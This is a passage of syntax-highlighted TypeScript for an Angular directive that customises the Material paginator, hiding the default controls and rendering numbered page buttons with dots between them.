      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;button&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;buttonsRef&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setStyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;display&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;flex&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="cm"&gt;/**
   * Removes or change styling of some html elements
   */&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nf"&gt;styleDefaultPagination&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;nativeElement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;elementRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;itemsPerPage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.mat-mdc-paginator-page-size&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;howManyDisplayedEl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.mat-mdc-paginator-range-label&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;previousButton&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;button.mat-mdc-paginator-navigation-previous&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;nextButtonDefault&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;button.mat-mdc-paginator-navigation-next&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// remove 'items per page'&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;itemsPerPage&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setStyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;itemsPerPage&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;display&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;none&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// style text of how many elements are currently displayed&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;howManyDisplayedEl&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setStyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;howManyDisplayedEl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;position&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;absolute&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setStyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;howManyDisplayedEl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;color&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#919191&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setStyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;howManyDisplayedEl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;font-size&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;14px&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setStyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;howManyDisplayedEl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;left&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;-0&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// check whether to remove left &amp;amp; right default arrows&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setStyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;previousButton&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;display&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;none&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setStyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;nextButtonDefault&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;display&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;none&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="cm"&gt;/**
   * creates `bubbleContainerRef` where all buttons will be rendered
   */&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nf"&gt;createBubbleDivRef&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;actionContainer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;elementRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;div.mat-mdc-paginator-range-actions&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;nextButtonDefault&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;elementRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;button.mat-mdc-paginator-navigation-next&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// create a HTML element where all bubbles will be rendered&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;bubbleContainerRef&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;div&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nx"&gt;HTMLElement&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addClass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;bubbleContainerRef&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;g-bubble-container&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// render element before the 'next button' is displayed&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;insertBefore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;actionContainer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;bubbleContainerRef&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;nextButtonDefault&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="cm"&gt;/**
   * helper function that builds all button and add dots
   * between the first button, the rest and the last button
   *
   * end result: (1) .... (4) (5) (6) ... (25)
   */&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nf"&gt;buildButtons&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;matPag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;neededButtons&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ceil&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;matPag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;matPag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pageSize&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// if there is only one page, do not render buttons&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;neededButtons&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;neededButtons&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setStyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;elementRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;display&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;none&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// set back from hidden to block&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setStyle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;elementRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;display&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;block&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// create first button&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;buttonsRef&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createButton&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)];&lt;/span&gt;

    &lt;span class="c1"&gt;// add dots (....) to UI&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dotsStartRef&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createDotsElement&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="c1"&gt;// create all buttons needed for navigation (except the first &amp;amp; last one)&lt;/span&gt;
    &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;index&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;neededButtons&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;buttonsRef&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;buttonsRef&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createButton&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="p"&gt;)];&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// add dots (....) to UI&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dotsEndRef&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createDotsElement&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="c1"&gt;// create last button to UI after the dots (....)&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;buttonsRef&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;buttonsRef&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createButton&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;neededButtons&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)];&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="cm"&gt;/**
   * Remove all buttons from DOM
   */&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nf"&gt;removeButtons&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;buttonsRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;removeChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;bubbleContainerRef&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;button&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="c1"&gt;// remove dots&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dotsStartRef&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;removeChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;bubbleContainerRef&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dotsStartRef&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dotsEndRef&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ren&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;removeChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;bubbleContainerRef&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dotsEndRef&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Empty state array&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;buttonsRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="cm"&gt;/**
   * create button HTML element
   */&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nf"&gt;createButton&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nx"&gt;HTMLElement&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
